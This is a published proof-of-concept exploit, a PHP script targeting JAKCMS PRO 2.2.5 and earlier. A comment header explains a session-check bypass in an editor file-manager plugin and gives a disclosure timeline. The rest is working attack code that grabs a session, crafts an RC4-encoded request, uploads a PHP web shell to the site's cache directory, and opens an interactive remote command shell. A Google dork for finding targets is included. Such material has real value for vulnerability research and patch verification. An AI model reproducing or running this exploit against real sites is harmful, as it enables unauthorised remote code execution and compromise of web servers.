# Exploit Title: JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit
# Google Dork: "Powered By JAKCMS"
# Date: 21/09/2011
# Author: EgiX
# Software Link: http://www.jakcms.com/
# Version: 2.2.5
# Tested on: Windows 7 and Debian 6.0.2
<?php
/*
--------------------------------------------------------
JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit
--------------------------------------------------------
author..........: EgiX
mail............: n0b0d13s[at]gmail[dot]com
software link...: http://www.jakcms.com/
This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
[-] vulnerable code in /js/editor/plugins/jakadminexplorer/php/session.php
119. if ($SESSION["check_session_variable"] != "") {
120.
121. // Session Starten
122. session_start();
123.
124. // Session-Variable berprfen
125. if (!isset($_SESSION[$SESSION["check_session_variable"]])) {
126. include("error.php");
127. die;
128. }
129. }
This authentication schema could be bypassed due to an attacker might be able to start a session accessing to /index.php that set
for e.g. the "jak_lastURL" session variable, so could be set $SESSION["check_session_variable"] to bypass the check at line 125.
Successful exploitation allows attackers access to plugins functionality (see /js/editor/plugins/jakadminexplorer/php/action.php),
in this way an attacker could be able to "delete", "create", "rename" any folder/file into webserver or upload arbitrary files.
The same vulnerability afflicts also jakadminimage, jakusrexplorer and jakusrimage plugins.
[-] Disclosure timeline:
[15/09/2011] - Vulnerability discovered
[16/09/2011] - Issue reported to http://www.jakcms.com/tracker/t/61/security-flaw-imagefilemanager
[16/09/2011] - Vendor fix released in version 2.2.6
[21/09/2011] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die("\n[-] No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}
function RC4($data)
{
$key = "asvKHQFkoobdwdin4bi30xzb003ufkxS3Fu3HArhBnlIk5pr3D6OGSKvUbso1rtne42VekxwUmOtPgmcA1iYC6lrpWP7HXq6VdB8EnbzR0L8rIHMqSY8mIi0o3ROzZWe";
$s = range(0, 256);
$j = 0;
for ($i = 0; $i < 256; $i++)
{
$j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
}
$i = $j = 0;
$ct = "";
for ($y = 0; $y < strlen($data); $y++)
{
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
$ct .= $data[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
}
return $ct;
}
print "\n+------------------------------------------------------------------+";
print "\n| JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit by EgiX |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /jakcms/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$packet = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
preg_match("/PHPSESSID=([^;]*);/i", http_send($host, $packet), $m);
$sid = $m[1];
$payload = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"edit1\"\r\n\r\n.php\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"input1\"; filename=\"foo\"\r\n\r\n";
$payload .= "<?php \${error_reporting(0)}.\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))} ?>\r\n";
$payload .= "--o0oOo0o--\r\n";
$get = bin2hex(RC4("id=1&check_session_variable=jak_lastURL&upload_filetype=php&dir={$path}cache/sh"));
$packet = "POST {$path}js/editor/plugins/jakadminexplorer/?action=upload&get={$get} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: PHPSESSID={$sid}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
if (preg_match("/Error/", http_send($host, $packet))) die("\n[-] Upload failed!\n");
$packet = "GET {$path}cache/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while(1)
{
print "\njakcms-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
?>
